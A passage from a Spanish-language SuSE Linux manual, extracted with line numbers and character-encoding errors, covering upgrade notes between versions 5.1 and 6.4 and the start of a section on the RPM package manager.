  25566.       libro  y  ahora  se  encuentra  en  el  primer  CD  en  el  directorio  /docu;  las
  25567.       versiones en alemßn son pkg_German.dvi y pkg_German.ps y en inglΘs
  25568.       pkg_English.dvi y pkg_English.ps.
  25569.  
  25570.   o   TambiΘn se ha suprimido el anexo con las requerimientos de sistema, pero
  25571.       como  alternativa  se  tiene  a  la  mano  el  banco  de  datos  de  componentes
  25572.       (ingl.  Components  Database,  CDB).  Se  encuentra  en  lφnea  bajo  http:
  25573.       //cdb.suse.de/.
  25574.  
  25575.   o   Los ficheros m4 de Sendmail  se encuentran ahora en el directorio /usr/
  25576.       share/sendmail.
  25577.  
  25578.   o   El  formato  de  las  fuentes  es  ''Source  RPM''  (ver  en  el  banco  de  datos
  25579.       de   soporte   http://sdb.suse.de/sdb/en/html/ke_source-rpm.
  25580.       html).
  25581.  
  25582.  
  25583.                                                                                                                                    *
  25584.  *   397
  25585. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  25586.  *_______________________________________@
  25587.  
  25588.  
  25589.  
  25590.                            15.2.3       De versi≤n 5.1 a 5.2
  25591.                            Problemas y particularidades:
  25592.  
  25593.                            http://sdb.suse.de/sdb/en/html/maddin_bugs52.html.
  25594.  
  25595.                              o   YaST   : A la serie ALL    se accede desde `Selecci≤n  series' con |F___|_4
  25596.                                  (=  `Ordenar')  (ver  el  apartado  3.5.3  en  la  pßgina  97Cambiar  /  Crear
  25597.                                  configuraci≤nsubsection.3.5.3).
  25598.                              o   Los  servidores  XSuSE  forman  ahora  parte  de  las  fuentes  oficiales  de
  25599.                                  XFree86,  por lo que se pueden usar otra vez los servidores estßndar de
  25600.                                  la serie x,  a excepci≤n de XSuSE_Elsa_GLoria (paquete xglint),  he-
  25601.                                  cho para tarjetas de vφdeo a base de Glint o Permedia.
  25602.                              o   Por razones de seguridad los servidores X ya no se instalan en modo suid
  25603.                                  root (o sea, sin la s-bit). Por lo tanto, se debe iniciar el sistema X Window
  25604.                                  con el Xwrapper a travΘs del comando startx      o con un gestor de pantalla
  25605.                                  como xdm o kdm .
  25606.                              o   wuftpd se establece ahora en /etc/inetd.conf como el servidor ftp es-
  25607.                                  tßndar (ver en el SDB http://sdb.suse.de/sdb/en/html/grimmer_
  25608.                                  ftpd.html).
  25609.                              o   Las opciones de ps   ya no comienzan con `-' por lo tanto es necesario
  25610.                                  adaptar  los  scripts  a  ello  (ver  en  el  SDB  http://sdb.suse.de/sdb/
  25611.                                  en/html/maddin_ps52.html).
  25612.                              o   SuSEconfig  (ver  el  apartado  17.5  en  la  pßgina  435/etc/rc.config              y
  25613.                                  SuSEconfig section.17.5) acepta algunas opciones adicionales que aceler-
  25614.                                  an el trabajo.
  25615.  
  25616.                            15.2.4       De versi≤n 5.2 a 5.3
  25617.  
  25618.                            Problemas y particularidades:
  25619.                            http://sdb.suse.de/sdb/en/html/bugs53.html.
  25620.  
  25621.                              o   La primera instalaci≤n de SuSE     Linux tal como la actualizaci≤n son aho-
  25622.                                  ra secuenciales; si se prefiere el procedimiento ''antiguo'' con sus m·lti-
  25623.                                  ples  posibilidades  de  intervenci≤n,  se  debe  seleccionar  el  modo  exper-
  25624.                                  to  en  la  entrada  a  YaST  (ver  figura  2.6  en  la  pßgina  35Arrancar  YaST
  25625.                                  subsection.2.2.4).
  25626.                              o   Ademßs del disquete de arranque se ofrece en el CD la imagen del dis-
  25627.                                  quete modules provisto de m≤dulos adicionales para el uso de hardware
  25628.                                  ''ex≤tico''; (ver apartado 16.3 en la pßgina 417linuxrcsection.16.3).
  25629.                              o   Ahora todos los servidores X se encuentran ordenados en la serie xsrv
  25630.                                  (X-server) en lugar de la serie x.
  25631.                              o   Para tarjetas de vφdeo nuevas existen los servidores X XFCom_3DLabs (pa-
  25632.                                  quete x3dlabs; antes XSuSE_Elsa_GLoria, paquete xglint) y XFCom_
  25633.                                  Cyrix (paquete xcyrix).
  25634.                              o   Los  usuarios  que  deseen  usar  programas  de  comunicaci≤n  como  mini-
  25635.                                  com ,  seyon ,  etc.,  deben  estar  de  alta  en  el  grupo  `uucp';  ver  http:
  25636.                                  //sdb.suse.de/sdb/en/html/ke_terminal-prog.html.
  25637.                              o   La  versi≤n  actual  de  Emacs  es  la  20.x,  con  la  que  se  deben  usar  los
  25638.                                  ficheros de inicio del directorio /etc/skel (ver http://sdb.suse.de/
  25639.                                  sdb/en/html/ke_emacs-update.html).
  25640.  
  25641.  
  25642. 398
  25643.        ___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
  25644.  *______________________
  25645.  
  25646.  
  25647.  
  25648.   o   Las SGML-Parsertools del paquete jade_dsl se encuentran ahora en un
  25649.       sub-paquete sp propio.
  25650.   o   PostgreSQL  (paquete postgres) se forma de varios sub-paquetes (ingl.
  25651.       subpackages):  El motor del banco de datos, la inicializaci≤n y las inter-
  25652.       faces.
  25653.  
  25654.   o   Las  Manpages  del  paquete  allman  se  han  distribuido  entre  varios  sub-
  25655.       paquetes   (ver   http://sdb.suse.de/sdb/en/html/ke_lpdmanxx.
  25656.       html).
  25657.  
  25658.  
  25659. 15.2.5       De versi≤n 5.3 a 6.0
  25660.  
  25661. Problemas y particularidades:
  25662. http://sdb.suse.de/sdb/en/html/bugs60.html.
  25663.  
  25664.  
  25665.   o   Tal como estß previsto en las fuentes del kernel, el kernel con el que se
  25666.       arranca la mßquina se instala en el directorio /boot. Se debe tener cuida-
  25667.       do en anotar correctamente las ramas en el fichero /etc/lilo.conf; de
  25668.       hecho YaST  lo propone de este modo, no obstante, si se prefiere contin-
  25669.       uar con el kernel antiguo (/vmlinuz), se debe intervenir en el proceso de
  25670.       actualizaci≤n y configurar LILO  con este fin.
  25671.  
  25672.   o   La  biblioteca  del  sistema  es  ahora  glibc  (tambiΘn  llamada  libc6).   Al
  25673.       actualizar los programas suministrados con SuSE     Linux  no se tienen por
  25674.       quΘ presentar problemas; despuΘs de la actualizaci≤n se deben compilar
  25675.       los programas propios nuevamente y enlazarlos con la biblioteca glibc .
  25676.       Si esto no fuera posible ~ p. ej.   porque no se dispone del c≤digo fuente
  25677.       de los programas ~, existe como soluci≤n a este problema la posibilidad
  25678.       de  instalar  el  paquete  shlibs5  (libc5),  con  lo  cual  se  pueden  seguir
  25679.       ejecutando los programas ''antiguos''.
  25680.  
  25681.   o   Las  partes  de  /etc/rc.config  que  corresponden  a  programas  con
  25682.       amplias  posibilidades  de  configuraci≤n,  se  han  trasladado  a  diferentes
  25683.       ficheros en el directorio /etc/rc.config.d.
  25684.  
  25685.   o   cron   es  capaz  de  ejecutar  ''scripts''  en  los  directorios  /etc/cron.
  25686.       hourly,    /etc/cron.daily,    /etc/cron.weekly   y   /etc/cron.
  25687.       monthly;  la  tabla  crontab  del  sistema  ya  no  se  llama  /root/bin/
  25688.       cron.daily sino que se denomina /etc/cron.daily/aaa_base;  ver
  25689.       tambiΘn en la pßgina 403De 6.3 a 6.4subsection.15.2.9.
  25690.  
  25691.   o   SuSE     Linux incluye la versi≤n actual de teTeX  que se instala ahora en
  25692.       /var,  conforme  al  estßndar  de  jerarquφa  del  sistema  de  ficheros  (ingl.
  25693.       Filesystem Hierarchy Standard (FHS)), por lo tanto, este directorio ocupa
  25694.       unos 15 MB adicionales . ~
  25695.       A  su  vez,  teTeX  se  ha  dividido  en  varios  sub-paquetes,  con  lo  cual  es
  25696.       posible que falte alguno despuΘs de la actualizaci≤n.  En este caso se re-
  25697.       comienda comprobar si todos los paquetes de la serie tex estßn realmente
  25698.       instalados.
  25699.  
  25700.   o   Las extensiones deALTEX, el paquete colortbl y el paquete hyperref,
  25701.       se incluyen ahora en teTeX y por tanto han dejado de existir por separado.
  25702.  
  25703.   o   C News se eliminarß de la distribuci≤n, pero durante un perφodo transito-
  25704.       rio el paquete cnews seguirß existiendo en el CD 1 bajo unsorted/. Con
  25705.  
  25706.  
  25707.                                                                                                                                    *
  25708.  *   399
  25709. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  25710.  *_______________________________________@
  25711.  
  25712.  
  25713.  
  25714.                                  el tiempo quizßs sea necesario usar el paquete inn o el paquete leafn-
  25715.                                  ode.
  25716.                              o   Los  ficheros  de  configuraci≤n  de  UUCP  se  encuentran  en  el  directorio
  25717.                                  /etc/uucp.
  25718.                              o   Los  estilos  ''DocBook -Stylesheets''  se  encuentran  ahora  en  un  paquete
  25719.                                  propio, paquete docbkdsl, serie sgm.
  25720.  
  25721.                            15.2.6       De versi≤n 6.0 a 6.1
  25722.  
  25723.                            Problemas y particularidades:
  25724.                            http://sdb.suse.de/sdb/en/html/bugs61.html.
  25725.  
  25726.                              o   El  paquete  SuSE       Linux  ya  no  incluye  el  CD-ROM  con  el  ''Live-
  25727.                                  Filesystem'',  no  obstante,  se  puede  conseguir  por  separado  abonando
  25728.                                  una cuota de protecci≤n (valor simb≤lico). Para mayor informaci≤n sobre
  25729.                                  el uso de este CD, consultar el apartado 3.7.4 en la pßgina 110Configurar
  25730.                                  sistema Livesubsection.3.7.4.
  25731.                              o   Para la primera instalaci≤n hay un disquete adicional con m≤dulos que
  25732.                                  funcionan como drivers para lectores de CD-ROM especiales,  unidades
  25733.                                  en  el  puerto  paralelo,  tarjetas  PCMCIA,  etc.   En  el  momento  en  que
  25734.                                  se  necesitan,  linuxrc  pide  que  se  introduzca  el  disquete-modules.  (ver
  25735.                                  apartado 2.2.3 en la pßgina 31La base: linuxrc subsection.2.2.3).
  25736.                              o   En el caso del kernel 2.2.x, la ''interfaz estßndar'' para imprimir a travΘs
  25737.                                  del puerto paralelo es /dev/lp0 (ver apartado 12.1 en la pßgina 325Los
  25738.                                  puertos paralelossection.12.1).
  25739.  
  25740.                            15.2.7       De versi≤n 6.1 a 6.2
  25741.  
  25742.                            Problemas y particularidades:
  25743.                            http://sdb.suse.de/sdb/en/html/bugs62.html.
  25744.  
  25745.                              o   rpm  (ver tambiΘn el apartado 15.3 en la pßgina 405RPM ~ El gestor de
  25746.                                  paquetessection.15.3) existe ahora en versi≤n 3.0. El formato del banco de
  25747.                                  datos RPM se ha modificado, por lo tanto es preciso realizar la conversi≤n
  25748.                                  en el momento de instalar rpm . Efectuando una actualizaci≤n normal (del
  25749.                                  sistema base) con YaST , la conversi≤n se llevarß a cabo en el momento
  25750.                                  mßs indicado (el proceso se ejecuta en segundo plano).
  25751.                              o   La  librerφa  de  sistema  glibc  existe  ahora  en  versi≤n  2.1.   En  lo  posible
  25752.                                  se  suministran  componentes  que  permiten  seguir  usando  los  programas
  25753.                                  basados en glibc -2.0.  Esto tiene sus limitaciones cuando se trata de ac-
  25754.                                  ceder a ciertos sφmbolos internos, por lo que se recomienda compilar de
  25755.                                  nuevo todos los programas propios.
  25756.                              o   El nscd  (ingl. Name Service Cache Daemon) forma parte de la glibc ; se
  25757.                                  configura mediante el fichero /etc/nscd.conf (ver pßgina del manual
  25758.                                  de nscd     (man  8  nscd       )).
  25759.                              o   Con  la  glibc -2.1  se  efect·a  el  cambio  a  los  dispositivos  sogUnix98
  25760.                                  PTY, por lo que tambiΘn se debe montar el sistema de ficheros devpts      .
  25761.                                  Esto se puede conseguir p. ej.   con la siguiente entrada en /etc/fstab:
  25762.                                  none       /dev/pts       devpts       gid=5,mode=620       0  0
  25763.                                  Ver tambiΘn la documentaci≤n en /usr/src/linux/Documentation/
  25764.                                  Changes junto con las fuentes del kernel.
  25765.  
  25766.  
  25767. 400
  25768.        ___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
  25769.  *______________________
  25770.  
  25771.  
  25772.  
  25773.   o   PAM (ingl. Pluggable Authentication Modules): aparte de /etc/login.
  25774.       defs   ahora   existen   tambiΘn   /etc/securetty,   /etc/security/
  25775.       limits.conf  y  /etc/security/pam_env.conf.;   ver  en  la  pßgi-
  25776.       na 114Algo sobre PAMsubsection.3.7.7.
  25777.   o   La  configuraci≤n  de  idioma  se  efect·a  con  variables  en  /etc/rc.
  25778.       config; ver apartado 76 en la pßgina 437Configuraciones bßsicasHfootnote.76
  25779.       y http://sdb.suse.de/sdb/en/html/ml_locale_implementation.
  25780.       html.
  25781.       http://sdb.suse.de/sdb/de/html/ml_locale_implementation.
  25782.       html.  Si no le agradan los mensajes en alemßn, lo puede indicar directa-
  25783.       mente, p. ej.  en .bashrc:
  25784.       export  LANG=C
  25785.  
  25786.  
  25787.   o   En el caso de varios paquetes, los componentes necesarios para el desar-
  25788.       rollo  del  software  (librerφas,  ficheros  ''header''  y  ''include'')  han  pasado
  25789.       a ser paquetes separados; se trata de un procedimiento que ya se llev≤ a
  25790.       cabo en versiones anteriores.  Estos paquetes solo serßn necesarios para
  25791.       desarrollos propios;  p. ej.  compilar paquetes de GNOME mßs recientes.
  25792.       Los paquetes de desarrollo se identifican normalmente con un suplemento
  25793.       en el nombre como:  dev    o d ; algunos ejemplos son:  paquete xformsd,
  25794.       paquete glibndev,  paquete gtkndev,  paquete imlibdev,  paquete gn-
  25795.       libsd, etc.
  25796.  
  25797. 15.2.8       De 6.2 a 6.3
  25798.  
  25799. Problemas y particularidades:
  25800. http://sdb.suse.de/sdb/en/html/bugs63.html.
  25801.  
  25802.   o   Existen diferentes kernels, optimizados para distintas necesidades. Todos
  25803.       usan  la  ''initrd''  (ingl.  Initial  Ramdisk)  (disco  virtual  de  memoria).   Es
  25804.       un aspecto a tener en cuenta cuando se compila un kernel propio; ver el
  25805.       apartado  16.2.5  en  la  pßgina  415Posibles  problemas  ~  Kernel  compila-
  25806.       do a medidasubsection.16.2.5 y http://sdb.suse.de/sdb/en/html/
  25807.       adrian_6.3_boot.html.
  25808.   o   El  fichero  de  configuraci≤n  de  los  m≤dulos  de  kernel  se  llama  /etc/
  25809.       modules.conf (antes: /etc/conf.modules).
  25810.   o   Aparte  del  ''Userspace''-NFS-Daemon  (paquete  nfsserv)  existe  ahora
  25811.       tambiΘn el daemon NFS a nivel de kernel (paquete knfsd). Este daemon
  25812.       tiene menos prestaciones, pero en cambio es capaz de bloquear ficheros;
  25813.       una  caracterφstica  que  necesita  p. ej.StarOffice .  Hay  que  configurar  en-
  25814.       tonces USE_KERNEL_NFSD               o NFS_SERVER          del fichero /etc/rc.config
  25815.       e instalar el paquete que corresponda.
  25816.   o   Las  +  Manpages  se  encuentran  en  /usr/share/man,  asφ  como  lo  pide
  25817.       el FHS (ingl. Filesystem Hierarchy Standard) (estßndar de jerarquφa del
  25818.       sistema  de  ficheros);  ver  el  apartado  16.1  en  la  pßgina  411Filesystem
  25819.       Hierarchy Standard (FHS) y Linux Standard Base (LSB)section.16.1.
  25820.   o   Los siguientes paquetes ya no existen en la distribuci≤n:
  25821.  
  25822.       ~   paquete gnuhtml:  Antiguo;  los documentos de informaci≤n actuales
  25823.           se  pueden  obtener  en  formato  HTML  a  travΘs  del  sistema  de  ayuda
  25824.  
  25825.  
  25826.                                                                                                                                    *
  25827.  *   401
  25828. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  25829.  *_______________________________________@
  25830.  
  25831.  
  25832.  
  25833.                                      de SuSE     (ver apartado 16.4 en la pßgina 422El sistema de ayuda para
  25834.                                      SuSE     Linux section.16.4).
  25835.  
  25836.                                  ~   paquete glimpse:  Una versi≤n antigua se encuentra en el directorio
  25837.                                      /unsorted del CD 1.  Por razones de derecho de autor no se puede
  25838.                                      distribuir la nueva versi≤n junto con SuSE     Linux.
  25839.  
  25840.  
  25841.                              o   Los paquetes nuevos de Tcl/Tk tienen nuevas denominaciones. Tcl/Tk 8.0
  25842.                                  es la versi≤n estßndar.
  25843.  
  25844.                              o   El soporte de OSS  (ingl. Open Sound System) para mßquinas multiproce-
  25845.                                  sador se compone de:  paquete opso y paquete opsod_up tal como pa-
  25846.                                  quete opso_smp y paquete opsodsmp; ver http://sdb.suse.de/sdb/
  25847.                                  es/html/oss-smp.html.
  25848.  
  25849.                              o   La   configuraci≤n   de   sendmail   se   encuentra   en   /etc/rc.config.
  25850.                                  d/sendmail.rc.config  en  lugar  de  /etc/rc.config;   ver  http:
  25851.                                  //sdb.suse.de/sdb/en/html/mneden_6.3_sendmail.html.
  25852.  
  25853.                              o   Por razones de seguridad el daemon WU-FTPD  (paquete wuftpd, serie
  25854.                                  n) ya no se incluye en la instalaci≤n estßndar.
  25855.  
  25856.                              o   Desde la versi≤n 1.9.2 de leafnode  el directorio de los ficheros de con-
  25857.                                  figuraci≤n se ha modificado.  En lugar de estar en /usr/lib/leafnode
  25858.                                  ahora se encuentran en /etc/leafnode.
  25859.  
  25860.                                  En caso de haber modificado el fichero de configuraci≤n, Θste se encuentra
  25861.                                  como  copia  de  seguridad  en  /usr/lib/leafnode/config.rpmsave.
  25862.                                  Las modificaciones hechas se deben pasar manualmente al nuevo fichero
  25863.                                  de configuraci≤n.
  25864.  
  25865.                                  Atenci≤n:   En  caso  de  actualizar  desde  una  versi≤n  antigua  (anterior
  25866.                                  a  1.9.3),  ejecute  primero  el  script  /usr/doc/packages/leafnode/
  25867.                                  update.sh:
  25868.  
  25869.                                  tierra:  #  cd  /usr/doc/packages/leafnode
  25870.                                  tierra:/usr/doc/packages/leafnode  #  ./update.sh  \
  25871.                                  /var/spool/news/  /etc/leafnode  /var/lock/news/fetchnews.lck
  25872.  
  25873.  
  25874.                                  Al ejecutar el script,  el fichero groupinfo se organiza de nuevo (en el
  25875.                                  orden de groupinfo deja de importar la diferencia entre may·sculas y
  25876.                                  min·sculas). Si la reorganizaci≤n del fichero no funciona, hay un respaldo
  25877.                                  que  se  encuentra  en  /var/spool/news/leaf.node/groupinfo.old.
  25878.                                  DespuΘs de una ejecuci≤n exitosa del script, se puede borrar este fichero
  25879.                                  (.old).
  25880.  
  25881.                                  Advertencia:  Desde la versi≤n 1.9.3 el programa /usr/sbin/fetch               se
  25882.                                  llama /usr/sbin/fetchnews                 . Por lo tanto hay que modificar los ''Cron-
  25883.                                  jobs'' u otros scripts (p. ej.  /etc/ppp/ip-up) al respecto.
  25884.  
  25885.                                  En  cuanto  a  la  instalaci≤n  de  leafnode  consulte  el  apartado  6.9  en  la
  25886.                                  pßgina 207News: Las noticias mßs actuales de USENETsection.6.9.
  25887.  
  25888.                              o   Para  aumentar  el  nivel  de  seguridad,  se  ejecuta  MySQL  con  la  UID
  25889.                                  `mysql' y la GID `daemon'.
  25890.  
  25891.                              o   Fortify  se  encuentra  en  /opt/fortify;  despuΘs  de  su  aplicaci≤n  se
  25892.                                  puede desinstalar.
  25893.  
  25894.  
  25895. 402
  25896.        ___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
  25897.  *______________________
  25898.  
  25899.  
  25900.  
  25901. 15.2.9       De 6.3 a 6.4
  25902. Problemas y particularidades:
  25903.  
  25904. http://sdb.suse.de/sdb/en/html/bugs64.html.
  25905.  
  25906.   o   Kernel:  Ya no se necesitan paquete kernmod y paquete kernmods.  Los
  25907.       m≤dulos de kernel adecuadamente optimizados se instalan directamente
  25908.       junto  con  el  kernel  elegido  (ver  3.7.2  en  la  pßgina  105`Elegir  el
  25909.       kernel  (de  arranque)'subsection.3.7.2) (ver 3.7.2 en la pßgina 105
  25910.       `Elegir  el  kernel  (de  arranque)'subsection.3.7.2).   Los  fichero
  25911.       de  configuraci≤n  del  kernel  instalado  se  encuentran  en  /boot  con  los
  25912.       nombres  vmlinuz.config-pentium  (ísi  el  kernel  es  para  Pentium!),
  25913.       vmlinuz.autoconf.h y vmlinuz.version.h. Si lo desea, YaST copia
  25914.       estos ficheros en el ßrbol de directorios de las fuentes del kernel.
  25915.  
  25916.   o   Los  ''Login-Shells''  vßlidos  estßn  anotados  en  /etc/shells;  ver  pßgi-
  25917.       na  del  manual  de  shells       (man  5  shells         ).    Un  usuario  que  tiene
  25918.       /bin/true         asignado, s≤lo puede entrar al sistema vφa el sistema X Win-
  25919.       dowy  no  recibe  ninguna  shell.   Para  evitar  cualquier  login,  se  asigna
  25920.       /bin/false          como ''Login-Shell''.
  25921.  
  25922.   o   paquete  aaa_base:   Las  tareas  de  mantenimiento  diarias  se  han  dis-
  25923.       tribuido sobre varios scripts. En /etc/cron.daily existen ahora aparte
  25924.       de aaa_base los scripts backup_rpmdb, clean_catman, clean_core,
  25925.       clean_instlog, clean_tmp, do_mandb, rotate_logs y updatedb ~
  25926.       estos  scripts  se  reconocen  por  su  ''prefijo''  aaa_base_.   Ademßs  aaa_
  25927.       base ''ejecuta'' cron.daily.local, que es el fichero para ampliaciones
  25928.       personales. Respecto al sistema Cron vΘase el apartado 16.6.1 en la pßgi-
  25929.       na 429paquete cronsubsection.16.6.1.
  25930.  
  25931.   o   Se instala una versi≤n nueva de tar  (tar   ),  que se comporta diferente al
  25932.       sobreescribir ficheros existentes.  Para volver al comportamiento antiguo
  25933.       se puede usar la opci≤n --overwrite          .
  25934.  
  25935.   o   Casi todos los programas en paquete nkita y paquete nkitb han cambi-
  25936.       ado de versi≤n y traceroute  se encuentra ahora en el paquete nkitb.  Al-
  25937.       gunos programas ya estßn preparados para IPv6, por lo que es importante
  25938.       configurar DNS correctamente, sino es posible que haga falta esperar el
  25939.       DNS-Timeout para la consulta de IPv6.
  25940.  
  25941.   o   El paquete samba:  Con la actualizaci≤n a la versi≤n 2.0.6 se cambia la
  25942.       sintaxis  del  comando  smbmount       .   El  script  /sbin/mount.smbfs                tiene
  25943.       que ejecutar el smbmount        .  A su vez es el comando mount      que llama a
  25944.       este script; por ejemplo:
  25945.       tierra:  #  mount  -t  smbfs  -o  username=uname,password=passwd  \
  25946.                    //smbserv/share  /destination
  25947.   o   paquete  postfix:   Se  a±adieron  posibilidades  de  configuraci≤n;   las
  25948.       variables   de   inicio   se   encuentran   ahora   en   /etc/rc.config.d/
  25949.       postfix.rc.config;   vΘase  tambiΘn  el  apartado  17.5  en  la  pßgi-
  25950.       na 435/etc/rc.config              y SuSEconfig section.17.5.
  25951.  
  25952.   o   Ya no existe la versi≤n 1.x del servidor proxy paquete squid, ya que la
  25953.       versi≤n 2.x puede ser considerada como estable, por lo que se recomienda
  25954.       pasarse a Θsta.  Durante la actualizaci≤n, paquete squid no se reemplaza
  25955.       automßticamente por paquete squid2;  se deben guardar los ficheros de
  25956.  
  25957.  
  25958.                                                                                                                                    *
  25959.  *   403
  25960. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  25961.  *_______________________________________@
  25962.  
  25963.  
  25964.  
  25965.                                  configuraci≤n antiguos y desinstalar el paquete squid para instalar pos-
  25966.                                  teriormente el paquete squid2.  Ahora se puede comenzar a personalizar
  25967.                                  los ficheros de configuraci≤n nuevos ~ hay informaci≤n suplementaria en
  25968.                                  http://squid.nlanr.net.
  25969.  
  25970.                              o   El cliente DHCP se encuentra en paquete dhcpcd; para casos especiales
  25971.                                  suministramos a·n el paquete dhclient.
  25972.  
  25973.                              o   Por  razones  de  seguridad,  el  daemon  FTP  (in.ftpd       )  ya  no  acepta  au-
  25974.                                  tomßticamente el FTP-an≤nimo. Para que lo acepte se debe quitar el sφm-
  25975.                                  bolo de comentario `#' por delante de la lφnea:
  25976.  
  25977.                                  auth       sufficient         /lib/security/pam_ftp.so
  25978.  
  25979.  
  25980.                                  en el fichero /etc/pam.d/ftpd.
  25981.  
  25982.                              o   Modificar  contrase±a  con  PAM  (ingl.  Pluggable  Authentication  Mod-
  25983.                                  ules):   pam_unix         puede  modificar  tambiΘn  las  contrase±as╤IS  y  sabe
  25984.                                  tratar  md5  -almuadillas  como  contrase±a.   Cuidado:  Es  mejor  consultar
  25985.                                  el apartado 3.7.7 en la pßgina 114Algo sobre PAMsubsection.3.7.7.
  25986.  
  25987.                                  Ademßs existe ahora un m≤dulo nuevo (pam_pwcheck          -Module), que se
  25988.                                  encarga del control de contrase±as nuevas. Hace falta modificar la entrada
  25989.                                  antigua:
  25990.  
  25991.                                  password  required     /lib/security/pam_unix.so       #strict=false
  25992.  
  25993.  
  25994.                                  hacia:
  25995.                                  password  required     /lib/security/pam_pwcheck.so  \
  25996.                                                                    nullok  #use_cracklib
  25997.                                  password  required     /lib/security/pam_unix.so       \
  25998.                                                                    nullok  use_first_pass  use_authtok
  25999.  
  26000.                                  Cada  comando  debe  estar  en  una  sola  lφnea;  si  no,  debe  aparecer  un  \
  26001.                                  (''barra inversa'') al final de la lφnea.
  26002.  
  26003.                                  Solo se requiere esta intervenci≤n cuando rpm  no puede modificar por sφ
  26004.                                  mismo los ficheros de configuraci≤n, en el caso en que el administrador de
  26005.                                  sistema haya realizado modificaciones individuales.  Lo mismo es vßlido
  26006.                                  para todos los ficheros de configuraci≤n de PAM en el directorio /etc/
  26007.                                  pam.d.
  26008.  
  26009.                              o   Aparte  las  pßginas  de  manual  +  Manual-Pages  (ver  apartado  15.2.8  en
  26010.                                  la pßgina 401De 6.2 a 6.3subsection.15.2.8), las pßginas info tambiΘn se
  26011.                                  encuentran en /usr/share.
  26012.  
  26013.                              o   makewhatis          (paquete  makewhat)  usa  ahora  la  utilidad  manpath        para
  26014.                                  encontrar  las  pßginas  de  manual,  (ingl.  Manual-Pages).   Ya  no  se  debe
  26015.                                  definir la variable de entorno MANPATH en los ficheros tipo rc.
  26016.  
  26017.                              o   ldconfig        s≤lo  se  ejecuta  cuando  un  directorio  /lib  es  mßs  reciente
  26018.                                  que /etc/ld.so.cache;  seg·n el caso se inicia como proceso de fon-
  26019.                                  do.   Es  posible  forzar  la  ejecuci≤n  de  ldconfig        poniendo  la  variable
  26020.                                  de  entorno  run_ldconfig  en  true   .   Otra  posibilidad  es  la  de  indicar
  26021.                                  "run_ldconfig=true"                  directamente el prompt de arranque.
  26022.  
  26023.                              o   La versi≤n actual de paquete ncurses es ahora 5.0. A·n suministramos la
  26024.                                  versi≤n 4.2 de la librerφa compartida, asφ que los programas precompilados
  26025.                                  deben seguir funcionando.
  26026.  
  26027.  
  26028. 404
  26029.        ______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________*
  26030.  *______________________
  26031.  
  26032.  
  26033.  
  26034.   o   El paquete apache ha sido dividido. Se han de instalar tambiΘn los subpa-
  26035.       quetes del tipo mod_*      para realizar ampliaciones especφficas.  Hay docu-
  26036.       mentaci≤n sobre PHP en el paquete phpdoc. Los ficheros de butaca (log)
  26037.       se encuentran en /var/log/httpd, para mejorar el orden.
  26038.  
  26039.   o   La estructura de Roxen es la siguiente: El paquete roxen, que no permite
  26040.       criptografφa  y  el  paquete  roxenssl  con  el  soporte  de  criptografφa.   La
  26041.       ventaja  es  que  ya  no  hace  falta  administrar  el  paquete  roxenint  por
  26042.       separado.
  26043.  
  26044.   o   Ya no existe el paquete changes. Se puede obtener la informaci≤n corre-
  26045.       spondiente directamente con rpm :
  26046.       tux@tierra:  >  rpm  -q  --changelog  <paquete>
  26047.  
  26048.  
  26049.  
  26050. 15.3        RPM ~ El gestor de paquetes
  26051.  
  26052. Con la versi≤n 5.0 de SuSE     Linux, comenz≤ el uso del RPM (rpm   ) (ingl. RPM
  26053. Package Manager), por lo que se facilita la gesti≤n de los paquetes para todos
  26054. los implicados:  los usuarios,  los administradores de sistema y ~ finalmente
  26055. ~ los que generamos los paquetes.  El amplio banco de datos de RPM ofrece
  26056. una gran cantidad de informaci≤n sobre el software instalado.
  26057.  
  26058. La funci≤n rpm    puede actuar de tres maneras distintas:
  26059.  
  26060.   o   generar paquetes listos para instalar desde las fuentes vφrgenes (ingl. pris-
  26061.       tine sources)
  26062.  
  26063.   o   instalaci≤n, actualizaci≤n y desinstalaci≤n completa de los paquetes
  26064.  
  26065.   o   direccionar consultas al banco de datos RPM o a determinados archivos
  26066.       RPM.
  26067.  
  26068. Los archivos RPM, listos para ser instalados, tienen un formato binario espe-
  26069. cial que incluye los ficheros con los programas e informaci≤n adicional usada
  26070. por rpm   .  Esta informaci≤n adicional se usa para configurar el software del
  26071. paquete o para la documentaci≤n en el banco de datos RPM. Estos archivos
  26072. tienen la extensi≤n .rpm.
  26073.  
  26074.  
  26075. 15.3.1       Instalar, actualizar y desinstalar paquetes.
  26076.  
  26077. Por lo general la instalaci≤n de un archivo RPM es muy sencilla:
  26078.  
  26079.       tierra:  #  rpm  -i  <paquete>.rpm
  26080.  
  26081. Este comando estßndar solamente instala un paquete si se cumplen todas las
  26082. ''dependencias'',  ya  que  de  lo  contrario  podrφan  aparecer  ''conflictos'';  los
  26083. mensajes de error de rpm    indican los paquetes que faltan para cumplir con las
  26084. dependencias.  El banco de datos se ocupa de evitar conflictos:  normalmente
  26085. un fichero debe pertenecer a un solo paquete; tambiΘn hay diferentes opciones
  26086. que permiten pasar por alto esta regla, pero se debe estar muy seguro de ello
  26087. ya que se puede perder la posibilidad de actualizar el paquete.
  26088.  
  26089. Una  opci≤n  muy  interesante  para  la  actualizaci≤n  de  un  paquete  es  -U   o
  26090. --upgrade        .  La versi≤n anterior del mismo paquete se borra y la nueva se
  26091. instala  mientras  que  rpm    trata  los  ficheros  de  configuraci≤n  con  cuidado,
  26092. apoyßndose en la siguiente estrategia:
  26093.  
  26094.  
  26095.                                                                                                                                    *
  26096.  *   405
  26097. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  26098.  *_______________________________________@
  26099.  
  26100.  
  26101.  
  26102.                              o   Si el administrador de sistema no ha cambiado ning·n fichero de config-
  26103.                                  uraci≤n, rpm    instala la versi≤n nueva y por lo tanto, el administrador de
  26104.                                  sistema no tiene que intervenir de ninguna manera.
  26105.  
  26106.                              o   Si el administrador de sistema ha cambiado un fichero de configuraci≤n,
  26107.                                  rpm   guarda el fichero con la extensi≤n .rpmorig o .rpmsave e instala
